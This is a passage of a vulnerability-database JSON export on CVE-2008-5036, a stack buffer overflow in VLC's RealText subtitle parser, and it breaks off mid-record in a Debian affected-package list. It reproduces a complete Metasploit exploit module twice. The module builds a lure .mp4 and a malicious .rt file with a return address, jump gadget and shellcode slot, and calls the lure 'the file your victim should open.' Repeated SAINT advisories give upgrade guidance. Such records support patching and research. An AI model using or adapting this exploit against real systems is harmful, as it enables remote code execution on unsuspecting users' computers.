Overflow", "bulletinFamily": "exploit", "cvelist": ["CVE-2008-5036"], "modified": "2012-03-02T00:00:00", "id": "EDB-ID:18548", "href": "https://www.exploit-db.com/exploits/18548/", "sourceData": "##\r\n# This file is part of the Metasploit Framework and may be subject to\r\n# redistribution and commercial restrictions. Please see the Metasploit\r\n# web site for more information on licensing and terms of use.\r\n# http://metasploit.com/\r\n##\r\n\r\nrequire 'msf/core'\r\n\r\nclass Metasploit3 < Msf::Exploit::Remote\r\n\tRank = GoodRanking\r\n\r\n\tinclude Msf::Exploit::FILEFORMAT\r\n\r\n\tdef initialize(info = {})\r\n\t\tsuper(update_info(info,\r\n\t\t\t'Name' => 'VLC Media Player RealText Subtitle Overflow',\r\n\t\t\t'Description' => %q{\r\n\t\t\t\t\tThis module exploits a stack buffer overflow vulnerability in\r\n\t\t\t\tVideoLAN VLC < 0.9.6. The vulnerability exists in the parsing of\r\n\t\t\t\tRealText subtitle files.\r\n\r\n\t\t\t\t\tIn order to exploit this, this module will generate two files:\r\n\t\t\t\tThe .mp4 file is used to trick your victim into running. The .rt file\r\n\t\t\t\tis the actual malicious file that triggers the vulnerability, which\r\n\t\t\t\tshould be placed under the same directory as the .mp4 file.\r\n\t\t\t},\r\n\t\t\t'License' => MSF_LICENSE,\r\n\t\t\t'Author' =>\r\n\t\t\t\t[\r\n\t\t\t\t\t'Tobias Klein', # Vulnerability Discovery\r\n\t\t\t\t\t'SkD', # Exploit\r\n\t\t\t\t\t'juan vazquez' # Metasploit Module\r\n\t\t\t\t],\r\n\t\t\t'Version' => '$Revision: $',\r\n\t\t\t'References' =>\r\n\t\t\t\t[\r\n\t\t\t\t\t[ 'OSVDB', '49809' ],\r\n\t\t\t\t\t[ 'CVE', '2008-5036' ],\r\n\t\t\t\t\t[ 'BID', '32125' ],\r\n\t\t\t\t\t[ 'URL', 'http://www.trapkit.de/advisories/TKADV2008-011.txt' ],\r\n\t\t\t\t\t[ 'URL', 'http://www.videolan.org/security/sa0810.html' ]\r\n\t\t\t\t],\r\n\t\t\t'Payload' =>\r\n\t\t\t\t{\r\n\t\t\t\t\t'Space' => 1900,\r\n\t\t\t\t\t'DisableNops' => true,\r\n\t\t\t\t\t'BadChars' => \"\\x00\\x22\\x0a\",\r\n\t\t\t\t\t'PrependEncoder' => \"\\x81\\xc4\\x54\\xf2\\xff\\xff\" # Stack adjustment # add esp, -3500\r\n\t\t\t\t},\r\n\t\t\t'Platform' => 'win',\r\n\t\t\t'Targets' =>\r\n\t\t\t\t[\r\n\t\t\t\t\t[ 'VLC 0.9.4 on Windows XP SP3 / Windows 7 SP1',\r\n\t\t\t\t\t\t{\r\n\t\t\t\t\t\t\t'Ret' => 0x68f0cfad, # jmp esp # libqt4_plugin.dll\r\n\t\t\t\t\t\t\t'WritableAddress' => 0x695d5890 # libqt4_plugin.dll .data\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t],\r\n\t\t\t\t],\r\n\t\t\t'Privileged' => false,\r\n\t\t\t'DisclosureDate' => 'Nov 05 2008',\r\n\t\t\t'DefaultTarget' => 0))\r\n\r\n\t\tregister_options(\r\n\t\t\t[\r\n\t\t\t\tOptString.new('FILENAME', [ true, 'The file name.', 'msf.rt']),\r\n\t\t\t], self.class)\r\n\tend\r\n\r\n\tdef generate_mp4\r\n\t\tmp4 = ''\r\n\t\t# ftyp\r\n\t\tmp4 << \"\\x00\\x00\\x00\\x14\" #Size\r\n\t\tmp4 << \"ftyp\" #Type\r\n\t\tmp4 << \"isom\" #Major brand\r\n\t\tmp4 << \"\\x00\\x00\" #version\r\n\t\tmp4 << \"\\x00\\x00\"\r\n\t\tmp4 << \"mp41\" #Compatible brands\r\n\t\t# moov\r\n\t\tmp4 << \"\\x00\\x00\\x00\\x9f\" #Size\r\n\t\tmp4 << \"moov\" #Type\r\n\t\tmp4 << \"\\x00\\x00\\x00\\x6c\\x6d\\x76\\x68\\x64\\x00\\x00\\x00\\x00\\xcb\\x75\\xf1\\xc2\\xcb\\x75\\xf1\\xc2\"\r\n\t\tmp4 << \"\\x00\\x01\\x5f\\x90\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\r\n\t\tmp4 << \"\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\r\n\t\tmp4 << \"\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x40\\x00\\x00\\x00\"\r\n\t\tmp4 << \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\r\n\t\tmp4 << \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x2b\"\r\n\t\tmp4 << \"udta\"\r\n\t\tmp4 << \"\\x00\\x00\\x00\\x23\"\r\n\t\tmp4 << \"\\xa9\\x65\\x6e\\x63\\x00\\x17\\x00\\x00\"\r\n\t\tmp4 << \"vlc 0.9.4 stream output\"\r\n\t\t# wide\r\n\t\tmp4 << \"\\x00\\x00\\x00\\x08\"\r\n\t\tmp4 << \"wide\"\r\n\t\t# mdat\r\n\t\tmp4 << \"\\x00\\x00\\x00\\x08\"\r\n\t\tmp4 << \"mdat\"\r\n\r\n\t\treturn mp4\r\n\tend\r\n\r\n\tdef generate_rt\r\n\t\tmy_payload = \"\"\r\n\t\tmy_payload << Rex::Text.rand_text(72, payload_badchars)\r\n\t\tmy_payload << [target.ret].pack(\"V\") # EIP => jmp esp\r\n\t\tmy_payload << Metasm::Shellcode.assemble(Metasm::Ia32.new, \"jmp $+8\").encode_string # ESP => jmp after \"Writable address\"\r\n\t\tmy_payload << Rex::Text.rand_text(2, payload_badchars)\r\n\t\tmy_payload << [target['WritableAddress']].pack(\"V\") # Writable address\r\n\t\tmy_payload << payload.encoded\r\n\r\n\t\trt_file = <<-eos\r\n<window height=\"250\" width=\"300\" duration=\"15\" bgcolor=\"yellow\">\r\nMary had a little lamb,\r\n<br/><time begin=\"#{my_payload}\"/>\r\n<br/><time begin=\"6\"/>little lamb,\r\n<br/><time begin=\"9\"/>Mary had a little lamb\r\n<br/><time begin=\"12\"/>whose fleece was white as snow.\r\n</window>\r\n\t\teos\r\n\r\n\t\treturn rt_file\r\n\tend\r\n\r\n\tdef exploit\r\n\r\n\t\tmp4 = generate_mp4\r\n\t\trt = generate_rt\r\n\r\n\t\tprint_status(\"Creating '#{datastore['FILENAME']}'. Put this file under the same directory as the mp4 file\")\r\n\t\tfile_create(rt)\r\n\r\n\t\toriginal_fname = datastore['FILENAME']\r\n\t\tdatastore['FILENAME'] = original_fname.scan(/(\\w+).\\w+/).flatten[0] + \".mp4\"\r\n\t\tprint_status(\"Creating '#{datastore['FILENAME']}'. This is the file your victim should open.\")\r\n\t\tfile_create(mp4)\r\n\r\n\t\tdatastore['FILENAME'] = original_fname\r\n\r\n\tend\r\nend\r\n", "cvss": {"score": 9.3, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}, "sourceHref": "https://www.exploit-db.com/download/18548/"}], "saint": [{"lastseen": "2018-08-31T00:08:14", "references": [], "description": "Added: 12/01/2008 \nCVE: [CVE-2008-5036](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5036>) \nBID: [32125](<http://www.securityfocus.com/bid/32125>) \nOSVDB: [49809](<http://www.osvdb.org/49809>) \n\n\n### Background\n\n[VLC media player](<http://www.videolan.org/vlc/>) is a media player supporting various audio and video formats for multiple platforms. \n\n### Problem\n\nA buffer overflow vulnerability in the ParseRealText function allows command execution when a user opens a media file which references a specially crafted RealText subtitle file. \n\n### Resolution\n\n[Upgrade](<http://www.videolan.org/vlc/>) to VLC media player 0.9.6 or higher. \n\n### References\n\n<http://www.videolan.org/security/sa0810.html> \n\n\n### Limitations\n\nExploit works with VLC media player 0.9.4 and requires a user to download and save the MOV and RT files in the same directory, and then open the MOV file in VLC. \n\n### Platforms\n\nWindows 2000 \nWindows XP \n \n\n", "edition": 3, "reporter": "SAINT Corporation", "published": "2008-12-01T00:00:00", "title": "VLC media player RealText subtitle file ParseRealText buffer overflow", "type": "saint", "enchantments": {"score": {"vector": "NONE", "value": 9.3}}, "bulletinFamily": "exploit", "cvelist": ["CVE-2008-5036"], "modified": "2008-12-01T00:00:00", "id": "SAINT:633FF5B9674D30D0C99E56240FA81BE2", "href": "https://my.saintcorporation.com/cgi-bin/exploit_info/vlc_subtitle_parserealtext", "cvss": {"score": 9.3, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}, {"lastseen": "2016-10-03T15:01:57", "references": [], "description": "Added: 12/01/2008 \nCVE: [CVE-2008-5036](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5036>) \nBID: [32125](<http://www.securityfocus.com/bid/32125>) \nOSVDB: [49809](<http://www.osvdb.org/49809>) \n\n\n### Background\n\n[VLC media player](<http://www.videolan.org/vlc/>) is a media player supporting various audio and video formats for multiple platforms. \n\n### Problem\n\nA buffer overflow vulnerability in the ParseRealText function allows command execution when a user opens a media file which references a specially crafted RealText subtitle file. \n\n### Resolution\n\n[Upgrade](<http://www.videolan.org/vlc/>) to VLC media player 0.9.6 or higher. \n\n### References\n\n<http://www.videolan.org/security/sa0810.html> \n\n\n### Limitations\n\nExploit works with VLC media player 0.9.4 and requires a user to download and save the MOV and RT files in the same directory, and then open the MOV file in VLC. \n\n### Platforms\n\nWindows 2000 \nWindows XP \n \n\n", "edition": 1, "reporter": "SAINT Corporation", "published": "2008-12-01T00:00:00", "enchantments": {"score": {"vector": "NONE", "value": 9.3}}, "type": "saint", "title": "VLC media player RealText subtitle file ParseRealText buffer overflow", "bulletinFamily": "exploit", "cvelist": ["CVE-2008-5036"], "modified": "2008-12-01T00:00:00", "id": "SAINT:30D79470700D00FEC91D655D02BA2649", "href": "http://www.saintcorporation.com/cgi-bin/exploit_info/vlc_subtitle_parserealtext", "cvss": {"score": 9.3, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}, {"lastseen": "2016-12-14T16:58:04", "references": [], "edition": 1, "description": "Added: 12/01/2008 \nCVE: [CVE-2008-5036](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5036>) \nBID: [32125](<http://www.securityfocus.com/bid/32125>) \nOSVDB: [49809](<http://www.osvdb.org/49809>) \n\n\n### Background\n\n[VLC media player](<http://www.videolan.org/vlc/>) is a media player supporting various audio and video formats for multiple platforms. \n\n### Problem\n\nA buffer overflow vulnerability in the ParseRealText function allows command execution when a user opens a media file which references a specially crafted RealText subtitle file. \n\n### Resolution\n\n[Upgrade](<http://www.videolan.org/vlc/>) to VLC media player 0.9.6 or higher. \n\n### References\n\n<http://www.videolan.org/security/sa0810.html> \n\n\n### Limitations\n\nExploit works with VLC media player 0.9.4 and requires a user to download and save the MOV and RT files in the same directory, and then open the MOV file in VLC. \n\n### Platforms\n\nWindows 2000 \nWindows XP \n \n\n", "reporter": "SAINT Corporation", "published": "2008-12-01T00:00:00", "type": "saint", "enchantments": {"score": {"vector": "NONE", "value": 9.3}}, "title": "VLC media player RealText subtitle file ParseRealText buffer overflow", "bulletinFamily": "exploit", "cvelist": ["CVE-2008-5036"], "modified": "2008-12-01T00:00:00", "id": "SAINT:8F81E8D290541B0FB9EBEC7F2E682919", "href": "http://download.saintcorporation.com/cgi-bin/exploit_info/vlc_subtitle_parserealtext", "cvss": {"score": 9.3, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}], "packetstorm": [{"lastseen": "2016-12-05T22:22:03", "references": [], "edition": 1, "description": "", "reporter": "Tobias Klein", "published": "2012-03-03T00:00:00", "type": "packetstorm", "title": "VLC Media Player RealText Subtitle Overflow", "enchantments": {"score": {"vector": "NONE", "value": 6.8}}, "bulletinFamily": "exploit", "cvelist": ["CVE-2008-5036"], "modified": "2012-03-03T00:00:00", "href": "https://packetstormsecurity.com/files/110408/VLC-Media-Player-RealText-Subtitle-Overflow.html", "id": "PACKETSTORM:110408", "sourceData": "`## \n# This file is part of the Metasploit Framework and may be subject to \n# redistribution and commercial restrictions. Please see the Metasploit \n# web site for more information on licensing and terms of use. \n# http://metasploit.com/ \n## \n \nrequire 'msf/core' \n \nclass Metasploit3 < Msf::Exploit::Remote \nRank = GoodRanking \n \ninclude Msf::Exploit::FILEFORMAT \n \ndef initialize(info = {}) \nsuper(update_info(info, \n'Name' => 'VLC Media Player RealText Subtitle Overflow', \n'Description' => %q{ \nThis module exploits a stack buffer overflow vulnerability in \nVideoLAN VLC < 0.9.6. The vulnerability exists in the parsing of \nRealText subtitle files. \n \nIn order to exploit this, this module will generate two files: \nThe .mp4 file is used to trick your victim into running. The .rt file \nis the actual malicious file that triggers the vulnerability, which \nshould be placed under the same directory as the .mp4 file. \n}, \n'License' => MSF_LICENSE, \n'Author' => \n[ \n'Tobias Klein', # Vulnerability Discovery \n'SkD', # Exploit \n'juan vazquez' # Metasploit Module \n], \n'Version' => '$Revision: $', \n'References' => \n[ \n[ 'OSVDB', '49809' ], \n[ 'CVE', '2008-5036' ], \n[ 'BID', '32125' ], \n[ 'URL', 'http://www.trapkit.de/advisories/TKADV2008-011.txt' ], \n[ 'URL', 'http://www.videolan.org/security/sa0810.html' ] \n], \n'Payload' => \n{ \n'Space' => 1900, \n'DisableNops' => true, \n'BadChars' => \"\\x00\\x22\\x0a\", \n'PrependEncoder' => \"\\x81\\xc4\\x54\\xf2\\xff\\xff\" # Stack adjustment # add esp, -3500 \n}, \n'Platform' => 'win', \n'Targets' => \n[ \n[ 'VLC 0.9.4 on Windows XP SP3 / Windows 7 SP1', \n{ \n'Ret' => 0x68f0cfad, # jmp esp # libqt4_plugin.dll \n'WritableAddress' => 0x695d5890 # libqt4_plugin.dll .data \n} \n], \n], \n'Privileged' => false, \n'DisclosureDate' => 'Nov 05 2008', \n'DefaultTarget' => 0)) \n \nregister_options( \n[ \nOptString.new('FILENAME', [ true, 'The file name.', 'msf.rt']), \n], self.class) \nend \n \ndef generate_mp4 \nmp4 = '' \n# ftyp \nmp4 << \"\\x00\\x00\\x00\\x14\" #Size \nmp4 << \"ftyp\" #Type \nmp4 << \"isom\" #Major brand \nmp4 << \"\\x00\\x00\" #version \nmp4 << \"\\x00\\x00\" \nmp4 << \"mp41\" #Compatible brands \n# moov \nmp4 << \"\\x00\\x00\\x00\\x9f\" #Size \nmp4 << \"moov\" #Type \nmp4 << \"\\x00\\x00\\x00\\x6c\\x6d\\x76\\x68\\x64\\x00\\x00\\x00\\x00\\xcb\\x75\\xf1\\xc2\\xcb\\x75\\xf1\\xc2\" \nmp4 << \"\\x00\\x01\\x5f\\x90\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" \nmp4 << \"\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" \nmp4 << \"\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x40\\x00\\x00\\x00\" \nmp4 << \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" \nmp4 << \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x2b\" \nmp4 << \"udta\" \nmp4 << \"\\x00\\x00\\x00\\x23\" \nmp4 << \"\\xa9\\x65\\x6e\\x63\\x00\\x17\\x00\\x00\" \nmp4 << \"vlc 0.9.4 stream output\" \n# wide \nmp4 << \"\\x00\\x00\\x00\\x08\" \nmp4 << \"wide\" \n# mdat \nmp4 << \"\\x00\\x00\\x00\\x08\" \nmp4 << \"mdat\" \n \nreturn mp4 \nend \n \ndef generate_rt \nmy_payload = \"\" \nmy_payload << Rex::Text.rand_text(72, payload_badchars) \nmy_payload << [target.ret].pack(\"V\") # EIP => jmp esp \nmy_payload << Metasm::Shellcode.assemble(Metasm::Ia32.new, \"jmp $+8\").encode_string # ESP => jmp after \"Writable address\" \nmy_payload << Rex::Text.rand_text(2, payload_badchars) \nmy_payload << [target['WritableAddress']].pack(\"V\") # Writable address \nmy_payload << payload.encoded \n \nrt_file = <<-eos \n<window height=\"250\" width=\"300\" duration=\"15\" bgcolor=\"yellow\"> \nMary had a little lamb, \n<br/><time begin=\"#{my_payload}\"/> \n<br/><time begin=\"6\"/>little lamb, \n<br/><time begin=\"9\"/>Mary had a little lamb \n<br/><time begin=\"12\"/>whose fleece was white as snow. \n</window> \neos \n \nreturn rt_file \nend \n \ndef exploit \n \nmp4 = generate_mp4 \nrt = generate_rt \n \nprint_status(\"Creating '#{datastore['FILENAME']}'. Put this file under the same directory as the mp4 file\") \nfile_create(rt) \n \noriginal_fname = datastore['FILENAME'] \ndatastore['FILENAME'] = original_fname.scan(/(\\w+).\\w+/).flatten[0] + \".mp4\" \nprint_status(\"Creating '#{datastore['FILENAME']}'. This is the file your victim should open.\") \nfile_create(mp4) \n \ndatastore['FILENAME'] = original_fname \n \nend \nend \n`\n", "cvss": {"score": 9.3, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}, "sourceHref": "https://packetstormsecurity.com/files/download/110408/vlc_realtext.rb.txt"}], "debian": [{"lastseen": "2016-09-02T18:27:35", "references": [], "affectedPackage": [{"OS": "Debian GNU/Linux", "OSVersion": "4", "packageVersion": "0.8.6-svn20061012.debian-5.1+etch3", "packageName": "vlc-plugin-arts", "arch": "alpha", "packageFilename": "vlc-plugin-arts_0.8.6-svn20061012.debian-5.1+etch3_alpha.deb", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "4", "packageVersion": "0.8.6-svn20061012.debian-5.1+etch3", "packageName": "vlc-plugin-arts", "arch": "arm", "packageFilename": "vlc-plugin-arts_0.8.6-svn20061012.debian-5.1+etch3_arm.deb", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "4", "packageVersion": "0.8.6-svn20061012.debian-5.1+etch3", "packageName": "libvlc0-dev", "arch": "alpha", "packageFilename": "libvlc0-dev_0.8.6-svn20061012.debian-5.1+etch3_alpha.deb", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "4", "packageVersion": "0.8.6-svn20061012.debian-5.1+etch3", "packageName": "vlc-nox", "arch": "mips", "packageFilename": "vlc-nox_0.8.6-svn20061012.debian-5.1+etch3_mips.deb", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "4", "packageVersion": "0.8.6-svn20061012.debian-5.1+etch3", "packageName": "vlc-plugin-sdl", "arch": "arm", "packageFilename": "vlc-plugin-sdl_0.8.6-svn20061012.debian-5.1+etch3_arm.deb", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "4", "packageVersion": "0.8.6-svn20061012.debian-5.1+etch3", "packageName": "vlc-plugin-arts", "arch": "hppa", "packageFilename": "vlc-plugin-arts_0.8.6-svn20061012.debian-5.1+etch3_hppa.deb", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "4", "packageVersion": "0.8.6-svn20061012.debian-5.1+etch3", "packageName": "vlc-plugin-esd", "arch": "hppa", "packageFilename": "vlc-plugin-esd_0.8.6-svn20061012.debian-5.1+etch3_hppa.deb", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "4", "packageVersion": "0.8.6-svn20061012.debian-5.1+etch3", "packageName": "vlc-plugin-arts", "arch": "mips", "packageFilename": "vlc-plugin-arts_0.8.6-svn20061012.debian-5.1+etch3_mips.deb", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "4", "packageVersion": "0.8.6-svn20061012.debian-5.1+etch3", "packageName": "vlc-plugin-ggi", "arch": "i686", "packageFilename": "vlc-plugin-ggi_0.8.6-svn20061012.debian-5.1+etch3_i386.deb", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "4", "packageVersion": "0.8.6-svn20061012.debian-5.1+etch3", "packageName": "vlc", "arch": "sparc", "packageFilename": "vlc_0.8.6-svn20061012.debian-5.1+etch3_sparc.deb", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "4", "packageVersion": "0.8.6-svn20061012.debian-5.1+etch3", "packageName": "vlc-plugin-arts", "arch": "sparc", "packageFilename": "vlc-plugin-arts_0.8.6-svn20061012.debian-5.1+etch3_sparc.deb", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "4", "packageVersion": "0.8.6-svn20061012.debian-5.1+etch3", "packageName": "libvlc0", "arch": "mipsel", "packageFilename": "libvlc0_0.8.6-svn20061012.debian-5.1+etch3_mipsel.deb", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "4", "packageVersion": "0.8.6-svn20061012.debian-5.1+etch3", "packageName": "vlc-plugin-esd", "arch": "mips", "packageFilename": "vlc-plugin-esd_0.8.6-svn20061012.debian-5.1+etch3_mips.deb", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "4", "packageVersion": "0.8.6-svn20061012.debian-5.1+etch3", "packageName": "vlc-plugin-ggi", "arch": "mipsel", "packageFilename": "vlc-plugin-ggi_0.8.6-svn20061012.debian-5.1+etch3_mipsel.deb", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "4", "packageVersion": "0.8.6-svn20061012.debian-5.1+etch3", "packageName": "libvlc0-dev", "arch": "arm", "packageFilename": "libvlc0-dev_0.8.6-svn20061012.debian-5.1+etch3_arm.deb", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "4", "packageVersion": "0.8.6-svn20061012.debian-5.1+etch3", "packageName": "vlc-plugin-ggi", "arch": "ia64", "packageFilename": "vlc-plugin-ggi_0.8.6-svn20061012.debian-5.1+etch3_ia64.deb", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "4", "packageVersion": "0.8.6-svn20061012.debian-5.1+etch3", "packageName": "vlc-plugin-arts", "arch": "ia64", "packageFilename": "vlc-plugin-arts_0.8.6-svn20061012.debian-5.1+etch3_ia64.deb", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "4", "packageVersion": "0.8.6-svn20061012.debian-5.1+etch3", "packageName": "mozilla-plugin-vlc", "arch": "alpha", "packageFilename": "mozilla-plugin-vlc_0.8.6-svn20061012.debian-5.1+etch3_alpha.deb", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "4", "packageVersion": "0.8.6-svn20061012.debian-5.1+etch3", "packageName": "vlc", "arch": "x86-64", "packageFilename": "vlc_0.8.6-svn20061012.debian-5.1+etch3_amd64.deb", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "4", "packageVersion": "0.8.6-svn20061012.debian-5.1+etch3", "packageName": "libvlc0", "arch": "i686", "packageFilename": "libvlc0_0.8.6-svn20061012.debian-5.1+etch3_i386.deb", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "4", "packageVersion": "0.8.6-svn20061012.debian-5.1+etch3", "packageName": "libvlc0", "arch": "alpha", "packageFilename": "libvlc0_0.8.6-svn20061012.debian-5.1+etch3_alpha.deb", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "4", "packageVersion": "0.8.6-svn20061012.debian-5.1+etch3", "packageName": "vlc-plugin-esd", "arch": "arm", "packageFilename": "vlc-plugin-esd_0.8.6-svn20061012.debian-5.1+etch3_arm.deb", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "4", "packageVersion": "0.8.6-svn20061012.debian-5.1+etch3", "packageName": "vlc-plugin-ggi", "arch": "alpha", "packageFilename": "vlc-plugin-ggi_0.8.6-svn20061012.debian-5.1+etch3_alpha.deb", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "4", "packageVersion": "0.8.6-svn20061012.debian-5.1+etch3", "packageName": "vlc", "arch": "mips", "packageFilename": "vlc_0.8.6-svn20061012.debian-5.1+etch3_mips.deb", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "4", "packageVersion": "0.8.6-svn20061012.debian-5.1+etch3", "packageName": "vlc", "arch": "s390x", "packageFilename": "vlc_0.8.6-svn20061012.debian-5.1+etch3_s390.deb", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "4", "packageVersion": "0.8.6-svn20061012.debian-5.1+etch3", "packageName": "vlc-nox", "arch": "ppc", "packageFilename": "vlc-nox_0.8.6-svn20061012.debian-5.1+etch3_powerpc.deb", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "4", "packageVersion": "0.8.6-svn20061012.debian-5.1+etch3", "packageName": "libvlc0", "arch": "arm", "packageFilename": "libvlc0_0.8.6-svn20061012.debian-5.1+etch3_arm.deb", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "4", "packageVersion": "0.8.6-svn20061012.debian-5.1+etch3", "packageName": "vlc-plugin-esd", "arch": "alpha", "packageFilename": "vlc-plugin-esd_0.8.6-svn20061012.debian-5.1+etch3_alpha.deb", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "4", "packageVersion": "0.8.6-svn20061012.debian-5.1+etch3", "packageName": "libvlc0-dev", "arch": "hppa", "packageFilename": "libvlc0-dev_0.8.6-svn20061012.debian-5.1+etch3_hppa.deb", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "4", "packageVersion": "0.8.6-svn20061012.debian-5.1+etch3", "packageName": "vlc-nox", "arch": "alpha", "packageFilename": "vlc-nox_0.8.6-svn20061012.debian-5.1+etch3_alpha.deb", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "4", "packageVersion": "0.8.6-svn20061012.debian-5.1+etch3", "packageName": "vlc-plugin-esd", "arch": "sparc", "packageFilename": "vlc-plugin-esd_0.8.6-svn20061012.debian-5.1+etch3_sparc.deb", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "4", "packageVersion": "0.8.6-svn20061012.debian-5.1+etch3", "packageName": "vlc", "arch": "arm", "packageFilename": "vlc_0.8.6-svn20061012.debian-5.1+etch3_arm.deb", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "4", "packageVersion": "0.8.6-svn20061012.debian-5.1+etch3", "packageName": "vlc", "arch": "alpha", "packageFilename": "vlc_0.8.6-svn20061012.debian-5.1+etch3_alpha.deb", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "4", "packageVersion": "0.8.6-svn20061012.debian-5.1+etch3", "packageName": "vlc-plugin-esd", "arch": "i686", "packageFilename": "vlc-plugin-esd_0.8.6-svn20061012.debian-5.1+etch3_i386.deb", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "4", "packageVersion": "0.8.6-svn20061012.debian-5.1+etch3", "packageName": "vlc-plugin-alsa", "arch": "all", "packageFilename": "vlc-plugin-alsa_0.8.6-svn20061012.debian-5.1+etch3_all.deb", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "4", "packageVersion": "0.8.6-svn20061012.debian-5.1+etch3", "packageName": "vlc-plugin-glide", "arch": "i686", "packageFilename": "vlc-plugin-glide_0.8.6-svn20061012.debian-5.1+etch3_i386.deb", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "4", "packageVersion": "0.8.6-svn20061012.debian-5.1+etch3", "packageName": "mozilla-plugin-vlc", "arch": "x86-64", "packageFilename": "mozilla-plugin-vlc_0.8.6-svn20061012.debian-5.1+etch3_amd64.deb", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "4", "packageVersion": "0.8.6-svn20061012.debian-5.1+etch3", "packageName": "vlc-plugin-arts", "arch": "s390x", "packageFilename": "vlc-plugin-arts_0.8.6-svn20061012.debian-5.1+etch3_s390.deb", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "4", "packageVersion": "0.8.6-svn20061012.debian-5.1+etch3", "packageName": "vlc-plugin-sdl", "arch": "mips", "packageFilename": "vlc-plugin-sdl_0.8.6-svn20061012.debian-5.1+etch3_mips.deb", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "4", "packageVersion": "0.8.6-svn20061012.debian-5.1+etch3", "packageName": "vlc", "arch": "hppa", "packageFilename": "vlc_0.8.6-svn20061012.debian-5.1+etch3_hppa.deb", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "4", "packageVersion": "0.8.6-svn20061012.debian-5.1+etch3", "packageName": "vlc-plugin-sdl", "arch": "hppa", "packageFilename": "vlc-plugin-sdl_0.8.6-svn20061012.debian-5.1+etch3_hppa.deb", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "4", "packageVersion": "0.8.6-svn20061012.debian.orig", "packageName": "vlc", "arch": "src", "packageFilename": "vlc_0.8.6-svn20061012.debian.orig.tar.gz", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "4", "packageVersion": "0.8.6-svn20061012.debian-5.1+etch3", "packageName": "libvlc0-dev", "arch": "ppc", "packageFilename": "libvlc0-dev_0.8.6-svn20061012.debian-5.1+etch3_powerpc.deb", "operator": "lt"}, {"OS": "Debian 